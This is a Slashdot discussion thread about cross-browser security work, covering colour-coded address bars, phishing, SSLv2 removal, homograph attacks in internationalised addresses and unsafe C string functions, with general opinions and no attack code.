    8. Re:You know what would really help... by Dan_Bercell · · Score: 2, Interesting
      As the speed of computers and VMs grow the resource issue will fade away.

      I am not saying this will happen soon, but when you purchase a home PC from Dell and it comes with a base configuraton of a 64bit processor and a 2gig mem chip I doubt the cost of even the slow Java VM would make much of a difference to the avg user.

      C will probably never die though, what else are we susposed to write those OSs and VMs with? :)

    9. Re:You know what would really help... by G-Licious! · · Score: 1

      You can still crash it annoyingly.

      You can lose your open tabs for example. And I sure use tabs alot more than I ever used windows before I discovered them. It usually means having to rediscover alot of information.

      But it rarely happens, and if it really bothered me that much I wouldn't be running firefox betas. :p

    10. Re:You know what would really help... by Anonymous Coward · · Score: 1, Interesting

      Try the SessionSaver extension.

      It stores the state of the browser when it's shut down, or when it crashes, including all open tabs, the position you were at on the page, and even the content of forms. I've had it nicely recover from my entire system locking up (dodgy video card drivers), and it certainly can manage Firefox itself crashing. Not that it's done that on my system in a very, very long time.

    11. Re:You know what would really help... by Anonymous Coward · · Score: 0

      What is irritating about the idea of a browser that wasn't a flea bitten dog when it comes to remote exploitable bugs? No, I don't mean IE, I mean the entire lot of them. These aren't low level products and yet we build them as if they were. But I guess you would suggest we code the next browser in machine code without taking the wussy way out and using an assembler?

      I used to write assembler for 6502 processors. Then I moved to C on 8088. C++ on 386. And C# and Java on modern hardware because it makes no sense to write business logic, database access or middleware in a language *lower* level than that. Not because I can't, but because the product is *better* and is developed *faster* by using the right tool. However, some apparently feel that using a VM is a challenge to their manhood... even when nothing in a browser calls for such a low level language.

    12. Re:You know what would really help... by ZenShadow · · Score: 1

      Or it could be that many of us have real-world experience with performance-sensitive business applications. They happen.

      Mind you, I happen to like C# and Java. Just not for everything.

      --S

      --
      -- sigs cause cancer.
    13. Re:You know what would really help... by Hosiah · · Score: 1
      fgets() instead of gets(), strncpy() instead of strcpy(), memset(), just to name a few)

      What gets me is, why are these known "gotcha"s allowed to continue to draw breath? As soon as the vulnerability is discovered, it should not get past any new release of a compiler, no matter what warning level. To heck with backwards compatibility: if my code uses a known vulnerability, it is broken and I should fix it.

    14. Re:You know what would really help... by bit01 · · Score: 1

      fgets() instead of gets(), strncpy() instead of strcpy(), memset(), just to name a few)

      What gets me is, why are these known "gotcha"s allowed to continue to draw breath? As soon as the vulnerability is discovered, it should not get past any new release of a compiler, no matter what warning level. To heck with backwards compatibility: if my code uses a known vulnerability, it is broken and I should fix it.

      True. Even better, why doesn't the compiler automatically replace the call to gets() with fgets() and a warning? It likely knows the size of the buffer argument and is already doing wholesale replacement of many library functions with inlines anyway. Even display an error if it can't determine the buffer size. This way much legacy code could be improved with minimal programmer intervention.

      ---

      Don't be a programmer-bureaucrat; someone who substitutes marketing buzzwords and software bloat for verifiable improvements.

    15. Re:You know what would really help... by MooUK · · Score: 1

      One major reason that more eploits and flaws are found in browsers could be that just about everybody actively uses a browser. Virtual machines of any kind are generally less widely used.

    16. Re:You know what would really help... by hesaigo999ca · · Score: 1

      You obviously aren't a programmer dude
      I think a programmer that has to cut corners on his testing
      to look good for the boss, or passes his work of to
      one of his interns whom he thinks is quite good
      (but not as thorough)...might still get the buffer overflows!

      And not caring about security like you do,
      ask someone that wants to use their credit cards online
      offer them a browser that was made in c takes less resources
      (10mb.) but might have a chance of being less secure
      to their counter parts which takes a wapping 50mb. but
      is infinetely more secure while taking up 50mb of their
      512 mb. memory (most people have this as the norm nowadays)....
      or 1000$ unknown transaction, which do you think they would select???

      ;)

    17. Re:You know what would really help... by KiltedKnight · · Score: 1
      Even better, why doesn't the compiler automatically replace the call to gets() with fgets() and a warning? It likely knows the size of the buffer argument and is already doing wholesale replacement of many library functions with inlines anyway. Even display an error if it can't determine the buffer size. This way much legacy code could be improved with minimal programmer intervention.

      That works just fine if you define your string with "char s[n];" where n > 1. If you use "char *s;" and later do a calloc() (or malloc() if you want to use uninitialized pointers), you're asking the compiler to keep track of all kinds of variables. That's not its job.

      If you really want to do something, take calls like gets(), scanf(), and such out of the standard library and replace them with macros that give compiler errors. Those calls are only useful in controlled environments like academia (hmmmmm...). Put them in the real world, and you have all kinds of problems.

      --
      OCO is Loco
    18. Re:You know what would really help... by bit01 · · Score: 1

      That works just fine if you define your string with "char s[n];" where n > 1. If you use "char *s;" and later do a calloc() (or malloc() if you want to use uninitialized pointers), you're asking the compiler to keep track of all kinds of variables. That's not its job.

      That's why I said "... likely knows ...". I'm aware of the problems of variable tracking; I've written small compilers and studied large compilers myself.

      In practice most uses of gets() etc. in legacy code I've seen do use static buffers - programmers smart enough to use the malloc() family are usually, though unfortunately not always, smart enough to recognise the problems of buffer overflow and basic memory management in general.

      In any case smart compilers are already doing sophisticated variable tracking for the purposes of optimization. Carrying around a memory block size on a pointer variable with all the other information being tracked would actually be fairly simple, by compiler standards anyway. It could even be used for optimisation, with pointers to large blocks being cached more aggressively.

      If you really want to do something, take calls like gets(), scanf(), and such out of the standard library and replace them with macros that give compiler errors. Those calls are only useful in controlled environments like academia (hmmmmm...). Put them in the real world, and you have all kinds of problems.

      That is quick and a little dirty but may be a better way to go for new code. Like e.g. splint. I was thinking mainly of large legacy code bases that people don't want to touch.

      ---

      Are you a creator or a consumer?

    19. Re:You know what would really help... by Godeke · · Score: 1

      I'm not convinced that there are more than a handful of applications in the business process realm that have enough performance implications that a VM based language would be an issue. I develop both desktop and web applications for businesses implemented inVM based languages. The larger have tens of thousands of concurrent users. Profiling tells me that my applications spend their time waiting for data from servers and user input... not causing the user to wait for the business logic. We have a five second response time maximum for every operation and most are measured in milliseconds.

      In those cases where we do have a performance hot spot, it usually is a computation that can be offloaded to a cache/compute server where appropriate choices can be made (either caches or data mart cubes or a specialized service that *is* written in a faster language). I'm curious what is left in the business process world that can not be solved in such manners...

      --
      Sig under construction since 1998.
  8. Plagarism? by SteveM · · Score: 4, Informative

    Copied from here?

    SteveM

    1. Re:Plagarism? by khedron+the+jester · · Score: 0

      Hence his nickname: 5, Troll.

  9. togetherness by DarkClown · · Score: 1

    so wonder what the tone was like. smarty pants contest?
    or 'here we are caring and sharing and collaborating! let's standardize on a little lock icon!'

  10. One real simple way to start. by Skiron · · Score: 2, Insightful

    Is to not have the[a[ web browser interfaced with kernel/operating system. A stand-alone application browser (a la K-Meleon, Firefox, etc.) will immediately stop the devs having to worry about other security overheads (reference IE that is built in (badly) to handle all sorts of stuff that it shouldn't even touch).

  11. I guess thats correct by Crimsane · · Score: 2, Insightful

    "IE 7 is one of the first browsers to implement some of the ideas discussed such as colour coding location bars"

    I like how this person uses "one of the first" in a positive sense.

    1. Re:I guess thats correct by Z-Knight · · Score: 1
      Saying "one of the first" is so ambiguous...you are either first or you are not. If you are not, then you are at best second and most likely you are copying something that already exists...which is why you are second and not THE first!

      And I can guarantee you that IE 7 is NOT THE FIRST to do this. FireFox itself has this capability now. It may only be the skin that I'm using that does this (NOIA Skin), but the capability is demonstrated already. In my case, the text of the address bar changes to green when I go to a HTTPS site. I don't know if it goes beyond that but I suspect that would be a minor addition/capability for the FireFox browser.

    2. Re:I guess thats correct by DrSkwid · · Score: 1

      Firefox does a yellow location bar for SSL already.

      --
      There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
    3. Re:I guess thats correct by ampmouse · · Score: 0

      Last time I checked, IE 7 was not even out yet! Surely someone could implement it in Firefox before IE 7 came out... Then Firefox would have it first!

    4. Re:I guess thats correct by robgamble · · Score: 1

      ...not to mention that IE 7 isn't released yet. The only person I know who was daring enough to load the beta on a production machine wishes he hadn't since it breaks a ton of sites and there's no uninstall.

      Until IE 7 is released, it can't be the first at anything.

      --
      No sig for you!
    5. Re:I guess thats correct by LostCluster · · Score: 1

      Firefox does a yellow location bar for SSL already.

      Which is troublesome because Microsoft proposes to use yellow as a warning color. Standards, people, you're getting together to make standards.

    6. Re:I guess thats correct by Bezben · · Score: 1

      The MS version actually makes more sense. Yellow should be a warning colour, green for ok and red for error.

    7. Re:I guess thats correct by Crimsane · · Score: 1

      I guess I can put up an explination page explaining to users that my blood red location bar is because I'm cool.

    8. Re:I guess thats correct by Jugalator · · Score: 1

      Yes, and that's why I hope Firefox will change as a result of this meeting.

      There'll still be unused Firefox users for a while, but if three colors are used on a scale, I agree with IE 7 here and would like them to come across as natural to novice users.

      --
      Beware: In C++, your friends can see your privates!
    9. Re:I guess thats correct by DrSkwid · · Score: 1

      that's specific to your culture

      --
      There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
    10. Re:I guess thats correct by Crimsane · · Score: 5, Funny

      well at the very least I'm sure we can all agree that IE is definitely the best browser not on the market.

      From what I can read here its undoubtably the best browser I've never tried, and (god willing) it will stay that way for many years.

    11. Re:I guess thats correct by dorkygeek · · Score: 1
      Which would mean that EVERY website should use encryption. Or how would you color slashdot? No privacy issues while just lurking, so yellow or red wouldn't be appropriate.

      --
      Windows is like decaf - it tastes like the real thing, but it won't get you through the day.
    12. Re:I guess thats correct by Bezben · · Score: 1

      Or just have the standard white bar mean no encryption.

    13. Re:I guess thats correct by dorkygeek · · Score: 1
      Which would then be a 4 colour scheme, and not a 3 colour one.

      --
      Windows is like decaf - it tastes like the real thing, but it won't get you through the day.
    14. Re:I guess thats correct by Bezben · · Score: 1

      Isn't it a general theme in nature?

    15. Re:I guess thats correct by Anonymous Coward · · Score: 0

      Firefox does have it first, and has for a long time. I guess the article really meant "one of" when they said one of the first.

    16. Re:I guess thats correct by Anonymous Coward · · Score: 1, Insightful

      Yellow is a pretty common color in nature to warn predators that you're poisonous.

  12. Microsoft participation by mustafap · · Score: 4, Interesting

    It's nice to see Microsoft participating in the event. I was surprised; I didn't think they sat round tables with open source developers. Does this happen in other areas of development?

    --
    Open Source Drum Kit, LPLC deve board - mjhdesigns.com
    1. Re:Microsoft participation by Anonymous Coward · · Score: 0

      OMG!!!!

      Microsoft looks like it's going to buy out open source! All of it!

    2. Re:Microsoft participation by KrispyKringle · · Score: 1

      You might want to read about Blue Hat--in recent years, MS has made a strong effort to make closer ties with (and, hopefully, learn something from) independent security researchers.

      It's not quite the same as meeting with open source projects, but it's a start.

    3. Re:Microsoft participation by ichigo+2.0 · · Score: 3, Insightful

      It does sound counterintuitive at first, but when you think about it, Microsoft doesn't make any money off IE, so working together with the other browser developers is a good way to ensure all Windows browsers get better security. Helping Linux browsers to improve doesn't really matter, because Linux already has an image of being extremely secure, so collaborating with open-source developers is a win-win situation from a PR and development perspective.

    4. Re:Microsoft participation by Anonymous Coward · · Score: 0

      yes and i just hope people sooner rather than later get over the myth of linux being extremely secure.

  13. confusing color shemes by c_fel · · Score: 5, Interesting

    I see on the screenshots that IE7 is gonna use a yellow location bar to indicate a suspicious web site. Ironically, in Firefox, that same color indicates a secured site. I'm sure somebody will be fooled someday...

    --
    I hate all sigs, mine included.
    1. Re:confusing color shemes by Loconut1389 · · Score: 3, Insightful

      to me, yellow is almost orange or on the way to red, whereas green to me says secure.. I think IE is on the right track and firefox is the one that needs to change.

    2. Re:confusing color shemes by LostCluster · · Score: 3, Insightful

      Which is why they held this meeting in the first place. Everybody's got to agree on little things like color schemes for there to be cross-browser compatibility.

    3. Re:confusing color shemes by sedyn · · Score: 1

      I think you're on to something bigger there.

      The colour coding implies that colour x means safe. What happens when the ability to display colour x is compromised?

      I can imagine the average user now:
      "Well, the site is green after all, so it must be safe."

      Having computers make judgements is a serious problem in general, but especially in security situations. I know the best method of showing the user everything that is known and letting them make a decision for themselves doesn't work very well in the field. But I think this is the kind of feature that has the potential to be a disaster in waiting.

      --
      Am I open minded towards open source, or closed minded towards closed source?
    4. Re:confusing color shemes by Jugalator · · Score: 1

      Yes, but they need to inform the user in some way.

      What if they instead used a popup message? A hack could disable the popup, or change the message.

      An icon? The icon could be changed by a hack too.

      Since I think we've seen no special browser exploits this way recently besides the Mozilla XUL skin exploit, I don't think this is such a big deal, especially for browsers not implementing online installable skins.

      --
      Beware: In C++, your friends can see your privates!
    5. Re:confusing color shemes by Ark42 · · Score: 4, Insightful

      Firefox has had the yellow=secure for quite a while, and IE7 is not yet out. Obviously it is IE that needs to change then. The yellow color comes from the yellow/gold lock icon that almost all browsers display someplace unnoticable usually. Now the golden lock is displayed in the location bar on the right hand side in both Opera and Firefox, and the background color is yellow in both of them. Firefox has the entire location bar yellow, while Opera has a yellow outlined and yellow shaded box with the lock icon and the name the certificate is listed under.
      Clearly yellow (gold) is the de facto standard for "secure" and IE7 is just plain wrong to use green instead, and make gold mean something bad.

    6. Re:confusing color shemes by kryten_nl · · Score: 2, Funny

      Yes, just like the terror alert system. Now, one question should I start being really worried at magenta or can I wait until crimson?

      --
      For the perfect anti-Unix, write an OS that thinks it knows what you're doing better than you do and let it be wrong.
    7. Re:confusing color shemes by Anonymous Coward · · Score: 1, Insightful

      I'll go tell my town that they should change the traffic lights to use gold to mean "safe to go through" then.

      Seriously, Red = Stop, Yellow = Warning, Green = OK. It's been that way for ages. That's the standard. Firefox is wrong.

    8. Re:confusing color shemes by Anonymous Coward · · Score: 0

      so because everyone is already doing something, that way _must_ be right, and any attempt to come up with something that makes more sense
      _has_ to be wrong, because it's different?

    9. Re:confusing color shemes by Klivian · · Score: 3, Insightful

      Firefox has had the yellow=secure for quite a while,

      The same for Konqueror, but it does not really mater that much. In this case the IE7 approach makes more sense, so they agree to change it. Besides calling yellow the de-facto standard is not correct, as de-facto would be what IE5 and IE6 uses.

    10. Re:confusing color shemes by Anonymous Coward · · Score: 0

      Seriously, Red = Stop, Yellow = Warning, Green = OK. It's been that way for ages. That's the standard. Firefox is wrong.

      Sure... those colors may have those connotations in western culture. But in other cultures, those colors mean something entirely different.

      (And that's ignoring entirely the issue of color-blindness.)

    11. Re:confusing color shemes by Ramses0 · · Score: 1

      Unfortunately I can't find it right now, but I was recently reading something on Jacob Nielsen's use it about how yellow was a good attention-getting color. (it was something to do with in-page popups, and that yellow was the best background color).

      Anyway, I'm guessing that is what the FF people were thinking when they first implemented it- basically that yellow is pretty well standardized as "look at me!" colors. However, after having a rational discussion with anybody in their right might, you should be able to see that IE7 has the right of it.

          Stop lights? Green, Yellow, Red.

          Stop sign? Red.

          Checkmark / OK? Green.

          Banking, shopping, money? Green.

      IE / MS is opening up the game a bit more, rather than secure / insecure, they're talking about secure, phishing, and dunno-yet. And by doing that, it makes sense (FOR EVERYBODY, ESPECIALLY!) to follow those same standards if they're going to be playing the same game. Even if it means slight confusion in the short term it's worth it for the long-term benefits of standardization.

      --Robert

    12. Re:confusing color shemes by the+pickle · · Score: 1

      Ironically, in Firefox, that same color indicates a secured site.

      More importantly, it has for something like a year and a half; same with Camino (uses different code to do it, didn't get it automatically from the Fx update that introduced it).

      Memo to submitter: when "one of the first" means "fourth or fifth in a field of about six", you need to find a different phrase, or stop accepting paychecks with Ballmer's signature on them.

      p

    13. Re:confusing color shemes by Anonymous Coward · · Score: 0

      The mistake here is that everybody seems to think a browser should tell the user that a site is safe. It should not, because the browser has no way of knowing this _reliably_. Yellow means "attention, security sensitive operation underway". It's an attention getter. You can add red as a stop color for when the browser recognizes a scam potential, but green lulls the user in a sense of security that can only be false.

    14. Re:confusing color shemes by grahamm · · Score: 1

      I think that firefox is right here. Yellow = warning, which is appropriate here. The site is using SSL, so the yellow could be a warning to check that the (highlighted) URL is from the expected site.

    15. Re:confusing color shemes by krang321 · · Score: 1

      Fortunately I am not affected by this, but I know a few people who are red/green colour blind... they load up an insecure "red" location bar, and they wouldn't know, it looks the same as a "green" secure site. Keep with the FF etc yellow (gold) = secure Maybe a red bar for insecure / bad websites.

  14. On the other end.... by tcopeland · · Score: 2, Insightful

    ...developers need to be aware of how to write secure server-side code. Joseph Hemler's book Network Security Tools has a chapter about finding security flaws with static analysis tools like PMD.

  15. Phishing by Anonymous Coward · · Score: 2, Insightful

    Can we find a better name then phishing? Most people don't get it, and wave it off as just another over complicated word that people who think they are smart use. They will ignoring an anti-phishing filter because they just don't know it is.

    We need a none geek term for this, something that is clear and easily understandable. "Malicious Websites" or an "Identity Theft Filter" just not phishing.

    1. Re:Phishing by Anonymous Coward · · Score: 1, Funny

      Phishing is just another way to get phood, right?

    2. Re:Phishing by Hosiah · · Score: 1
      We need a none geek term for this, something that is clear and easily understandable.

      Hay, You're absolutely right! And I also think that world hunger is caused by a nutritional deficit awareness gap, in which the adequate expectations paradigm failed to be impacted by the proactivity focused information enabling solution.

  16. Free market self-regulation by dada21 · · Score: 3, Interesting

    I'm happy to see that we're looking at an important part of a free competitive market: voluntary cooperation for better competitive products.

    The security enhancements we'll see that come out of these (and future) discussions will help all users yet also increase competitiveness in other areas. We didn't need a Congress or government body to force regulations, they're occurring out of customer need.

    Note that government could create regulations but we all know that those regulations come too late and can never adapt to current and future ever-changing needs.

    I read a great article today about the historical growth of the Net because of the lack of regulations and taxes.

  17. Confusion by fishybell · · Score: 4, Interesting
    Maybe it's just me, but an even bigger problem arises out of color coding the address bar: Confusion.

    Many users have significant problems when anything changes in their computer experience; my father for example. I tried moving him over to Firefox so that he could stay away from spyware et al, but he couldn't make the move because he couldn't navigate the user interface anymore. This man is no dullard either. He taught me to program when I was 8, has a PhD in (if I remember correctly) biology, pharmacology, or physics, teacheds microbiology, and is an associate dean at world-class university. For all of his smarts, he has had problems with computers ever since he was weened off of DOS and onto Windows 3.1. After many years of training he's finally to the point where he can work successfully in an evironment as long as nothing ever changes.

    Skip ahead to Windows XP service pack 2. Automatic updates are now on. He's been trained to allow the updates to happen, but only after I get a phone call asking me if they're ok. Unfortunately, updating sometimes means that I have to spend an hour or so teaching how to burn cds, how to switch between home/work networks, how to play music, etc. at regular intervals. I rue Microsoft not for their lax security (well, not just for their lax security), but for their ever present desire to "upgrade" their interfaces to make them "easier."

    At his work they upgrade computers relatively often. The day will come when he will have to call me each time he goes to a website with the "wrong" color.

    --
    ><));>
    1. Re:Confusion by LostCluster · · Score: 1

      Maybe training your father to press F1 instead of calling you might be worthwile.

    2. Re:Confusion by shis-ka-bob · · Score: 4, Funny
      How can you not know what field his PhD is in? I can assure you that my kids know that mine is in Physics (and grandpa's is in Music). Pharmacology and Physics are quite seperate fields (although I guess that a French physicst is a physicien and all know that Pharmacologists and physicians work together.)

      My kids are sick and tired about hearing about my stories from grad school. There are only so many things you can do with liquid nitrogen to stave of the bordom of collecting data. They know all my rubber nail in 2x4, frozen cricket (they really do stop chirping if they are cold enough) & exploding pop bottle stories (a 2 liter plastic bottle with a few tens of milliliters of LN will completely vaporize if you put on the cap and wait for the LN to evaporate. It leaves a cloud of frozen water vapor too.) By now, you probably understand why they are sick of my stories.

      --
      Think global, act loco
    3. Re:Confusion by ObsessiveMathsFreak · · Score: 1

      . He taught me to program when I was 8, has a PhD in (if I remember correctly) biology, pharmacology, or physics, teacheds microbiology, and is an associate dean at world-class university. For all of his smarts, he has had problems with computers ever since he was weened off of DOS and onto Windows 3.1.

      We need a Knoppix Live CD over here! STAT!!!

      --
      May the Maths Be with you!
    4. Re:Confusion by raddan · · Score: 1
      Why, so you can enjoy the look of sheer panic on his face? Dude, have you ever booted into Knoppix? It's like a hacker's wet dream. If you want a user with a computer phobia (that's what it sounds like to me) to switch to linux, you've gotta give them something somewhat familiar. The Ubuntu LiveCD might be a better place to start.

      I say leave him with Windows, if that's what he's most comfortable in. Personally, I would do my best to lock down his machine other ways-- forget about automatic updates; unless they're being performed by someone who knows what's going on, they WILL cause problems.

      GP: Firefox's interface is too hard to navigate?? IMHO, FF has the most intuitive interface I've seen since System 7.

    5. Re:Confusion by gid13 · · Score: 1

      The ability to react to a computer in a fluid manner is becoming a required skill. Learn to recognize a trustworthy change versus something that's going to bite your box in the butt, or get left behind. The IM generation can (often) do it, so it doesn't seem to me to be an issue of smarts per se. I don't know what it is about getting old, but people seem to lose their ability to learn. To adapt. I think that's the problem here, although even here I have to question the smarts a little if Firefox is different enough from IE that he can't navigate.

    6. Re:Confusion by khoury.brazil · · Score: 0

      I think its sad that your father who works in an educational institution is unable to weather a change as simple as the one from IE to Firefox. Back, Forward, Stop, Home and Refresh. Address Bar. Very similar in a simplistic sense. Most older users I know just freak out when the websites they frequent "break" in firefox. The gui is the easiest step for me: "It looks just like the blue E"...

    7. Re:Confusion by SydShamino · · Score: 1

      He doesn't call you now when he puts is bank account information into a fake banking site.

      Would you rather have him call when the location bar is a funny color, or simply never get the call until his bank account is wiped out?

      --
      It doesn't hurt to be nice.
    8. Re:Confusion by hitmark · · Score: 1

      well given that he sounds like he prefered command line os's over guis (he had no problem using dos), i would expect that he would be right at home in the feature rich enviroment of the avarage *nix cli.

      hell, give him w3m, links or some similar cli browser and presto...

      --
      comment first, facts later. http://chem.tufts.edu/AnswersInScience/RelativityofWrong.htm
    9. Re:Confusion by Anonymous Coward · · Score: 0

      you rue microsoft not just for their lax security, but for their ever present desire TO MAKE THE FUCKING SECURITY BETTER

      i guess your mom is really dumb as it seems that you didnt get no smart genes off your daddy.

    10. Re:Confusion by dougTheRug · · Score: 1

      Yeah, thank goodness non-Microsoft programs never change their user interfaces.

  18. Netscape 1.0 did this by Craig+Davison · · Score: 0

    I seem to remember a green or blue bar when an https connection worked, and red when there were errors validating the certificate.
    Later versions made this less obvious, with the key in the status bar.

  19. Nice ideas, but... by Anonymous Coward · · Score: 1, Insightful

    In the very near future the single most important attack vector for webspoofing will be subversion of the local system. Once you get access to the local system, you can manipulate DNS and the certificate store as well, so no offline or online spoof check has a fighting chance of working reliably. For this to change, users would have to stop browsing with full privileges. IOW, it's good that browser developers keep working on improving security, but the bigger security improvements lie elsewhere.

    Also, please don't confuse users by using different location bar coloring schemes. Firefox already uses yellow for SSL secured sites. If Microsoft makes yellow to mean "potential spoof", nothing good will come of it. IMHO having the browser give you "green lights" is a stupid idea. The best you can do is recognize when a security sensitive operation is taking place and alert the user to that fact. More than that will only provide a false sense of security. Use red when you know that a site is a spoof or encryption is insufficient, use yellow when a site uses sufficiently strong SSL.

    1. Re:Nice ideas, but... by jaseuk · · Score: 4, Insightful

      I just posted a message on the blog, but I'll reiterate it here.

      NOTHING has really changed for firefox if they go for YELLOW/GOLD for SSL sites with bad / unverified SSL certificates.

      YELLOW is the current SSL state in firefox for ANY secure site.
      GREEN is a new additional SSL state for sites with trusted CAs.

      This is actually quite good as all users can be taught to treat the YELLOW ones with some caution. Either because they are using an older browser version that doesn't support the GREEN or the site is not properly verified.

      I really don't see the problem. It seems like a sensible way to introduce the change.

  20. Not new ideas. by StrawberryFrog · · Score: 2, Informative

    Ideas such as colour coding location bars and an anti-phishing database.

    Do they mean like in the Netcraft anti-phishing toolbar?

    --

    My Karma: ran over your Dogma
    StrawberryFrog

    1. Re:Not new ideas. by Hank+Chinaski · · Score: 1

      Or the coloured location bar in firefox everytime you visit a ssl encrypted page?

      --
      IAAL
  21. Err....four? by Anonymous Coward · · Score: 3, Insightful

    OK, raise your hand if you think there's a clearly identifiable "four major web browsers." As in, when you hear the phrase "representatives of the 4 major web browsers" you know exactly which 4 are being talked about.

    OK, now how many of you had Konqueror as one of the 4?

    C'mon--I like Konqueror as much as the next user, but beyond IE and Firefox there are a large number of minor browsers out there. Mozilla, obviously, unless you lump that with Firefox as I do. Then probably Opera. And then, what, Safari? Konqueror is maybe 6th or 7th. So how "cross browser" is this?

    1. Re:Err....four? by Kelson · · Score: 1

      Stats from the various sites I maintain suggest IE as #1, Mozilla/Firefox/etc. as #2, Safari as #3, and Opera as #4. Though I've got one site which is focused on alternative browsers where Firefox is #1, followed by IE, Opera, and Safari.

    2. Re:Err....four? by Bogtha · · Score: 4, Informative

      There's four major rendering engines. Trident (Internet Explorer on Windows), Gecko (Mozilla, Firefox, etc), Presto (Opera), and KHTML (Konqueror, Safari, Omniweb, etc).

      Konqueror is important because it's the original branch of the KHTML rendering engine, used in a number of browsers, throughout KDE, and sitting on the desktops of millions of Apple users as part of Safari.

      So while it's slightly inaccurate to say that Konqueror is one of the four major web browsers, what was meant, and what is actual fact, is that Konqueror's rendering engine is one of the four major rendering engines.

      --
      Bogtha Bogtha Bogtha
    3. Re:Err....four? by DarkAurora · · Score: 1

      IE, Mozilla/Firefox (Gecko), Safari/Konqueror (KHTML), Opera

    4. Re:Err....four? by Anonymous Coward · · Score: 0

      You're generally right, but they say that Safari's Webcore has diverged so much from KHTML that the patches aren't compatible anymore.

    5. Re:Err....four? by Bogtha · · Score: 1

      I think around half the Acid2 patches for WebCore were useful to the Konqueror developers, and work has been going back into Konqueror from Safari (witness Konqueror 3.5's support for CSS 3 backgrounds, for example).

      --
      Bogtha Bogtha Bogtha
  22. Great idea, and it's about time by kimvette · · Score: 1

    I've always thought that a tiny padlock in the status bar is not enough visual indication for the average user, so it's about time someone comes up with something better. Microsoft has a great idea here, but I don't think a simple color change is good enough. There should be textual feedback. Now, if they were to use the status bar more effectively (such as "SSL Encrypted via Verisign") with color differentiation, they'd really be onto something. A simple color shift? I'd bet that the average Joe Sixpack will say "ooooh, purty" and be totally unaware that he's submitting his credit card to a Nigerian scammer.

    Regarding removal of SSL: WHY? A self-issued certificate is perfectly good for corporate email sites and things like that. If the system is flawed, address the flaws, but don't throw out an entire legacy system which is still in widespread use. But then by that logic, that is also how Windows came to inherit all of the security flaws it has now, I suppose.

    --
    The Christian Right is Neither (Christian nor right). See: Matthew 23, Matthew 25, Ezekiel 16:48-50
    1. Re:Great idea, and it's about time by Anonymous Coward · · Score: 0

      They are not removing SSL. They are removing the insecure SSL Version 2 implementation. SSL Version 3 and TLS have been available for quite some time in all major web servers and clients, and are both much more secure than SSLv2.

  23. It'd be nice for IRIs to be dealt with too by gedhrel · · Score: 1

    I'd like to see visual cues for IRIs containing chacracters not from my locale; and for characters not from the locale of the displayed document. "Different codepoints, similar glyph" is going to become another vector for phishing, I think.

    1. Re:It'd be nice for IRIs to be dealt with too by Anonymous Coward · · Score: 0

      Right on! mod parent up!

    2. Re:It'd be nice for IRIs to be dealt with too by Anonymous Coward · · Score: 0

      Please see the work being done by the ICANN IDN group on this; just for once, they're ahead of the game.

    3. Re:It'd be nice for IRIs to be dealt with too by gedhrel · · Score: 1

      I'm aware of the work; I'm worried that despite their pretty solid recommendations, it might fall between the cracks. You'd hope that browser writers are pretty clued-up to I18N issues these days: certainly, it's not konqueror that is most likely to get this wrong first time around :-/

    4. Re:It'd be nice for IRIs to be dealt with too by petermgreen · · Score: 1

      iirc firefoxes current soloution is to whitelist domains to show idn for and show the raw punycode (a fairly strange encoding of unicode) otherwise. If tlds wan't to get onto the whitelist they either have to not allow homographs or have a strong policy on how they will be handled to prevent abuse.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
  24. (Blank) by Short+Circuit · · Score: 0

    Nothing to see here. Move along.

    Really, this is a blank comment.

    OK, it isn't. But Slashdot ruined my joke by not letting me post one.

  25. To paraphrase... by quadbox · · Score: 0

    Mozilla - "What we REALLY need is for all browsers to comply to some sort of standard, so that users dont have the compatibility headaches they currently have" Microsoft - "Aww, come on, that would be too much effort! Cant we just fiddle with pretty colours?"

  26. Four major browsers?! by Anonymous Coward · · Score: 0

    IE

    Firefox/Mozilla

    ???

    ???

    1. Re:Four major browsers?! by oztiks · · Score: 1

      Netcrap and safari ofcourse

    2. Re:Four major browsers?! by whitehatlurker · · Score: 1
      RTFA: Opera, Konqueror, Mozilla(et al.) and MS IE

      You can pick the order

      --
      .. paranoid crackpot leftover from the days of Amiga.
  27. SSLv2 is disabled by default in Firefox by mikerozh · · Score: 1

    SSLv2 is disabled by default in Firefox.

    You don't need to have a major release of your broweser in order to change just one setting. :)

    1. Re:SSLv2 is disabled by default in Firefox by Anonymous Coward · · Score: 0

      That's cool. Can you please direct me to the "don't crash upon visiting espn.com" setting?

    2. Re:SSLv2 is disabled by default in Firefox by Rogue+Pat · · Score: 1
  28. Encryption is not the problem by Agelmar · · Score: 2, Interesting

    I've seen a number of posts about encryption being the problem. It's not. Yes, it is possible to crack some older algorithms with distributed botnets, yes, self-signed certificates pose a problem, but no, these are not the real problems. The real problems facing users (by this I mean the problems causing financial damage to consumers and companies) come from attacking the user and his/her environment, not attacking the encryption. When was the last time you saw someone brute-forcing the decryption of a session, with the purpose of obtaining the user's information? This makes great stuff for movies where we're tyring to crack into an Evil Foreign Government or an ultra-sophisticated criminal, but in real life this is not the threat.

    The threats that browsers need to address is the fact that their *users* and their user's *environments* are being attacked. Phishing attacks don't target weak encryption protocols. Heck, most don't even bother setting up an SSL-enabled phishing site, because people don't look for encrypted sessions in general. Phishing attacks target the user by attempting to fool the person into believing that they are at the actual site. Ask yourself - would your mother know that chase-online-banking.com is not the real address for Chase's online system? (Phishing trends show that phishers are increasingly using name-based attacks, as opposed to an IP-based URL).

    As for attacking the environment, keyloggers and malware in general are exploding in popularity. Again, this is not a problem with the encryption protocols used for securing sessions, rather it's the user's environment being attacked. One must remember that browsers don't run in a vacuum - they have a user and an environment. Using 256-bit AES encryption is great, nifty, and cool, but if my mother's computer has a keylogger installed and I decide to do some e-banking while visiting for the holidays, well then I've got a problem.

    People need to re-evaluate security in the context of which these applications are run, and stop thinking that simply increasing keylength or swapping cipher algorithms will solve the problem. It won't. Our problem is that security isn't usable, it isn't intuitave, and untill we make it so we will continue to have these problems.

    1. Re:Encryption is not the problem by Raphael · · Score: 1
      Phishing attacks don't target weak encryption protocols.

      You are right about the attacks on the user environment and the fact that phishers have easier targets to play with (for the moment, at least). However, the problems in SSLv2 are not only in the weak encryption algorithms used, but also in the protocol itself. Basically, SSLv2 allows a man-in-the-middle attack, in which an attacker could fool both parties during the connection setup and therefore get everything in clear text without having to perform a brute force attack on the encrypted content.

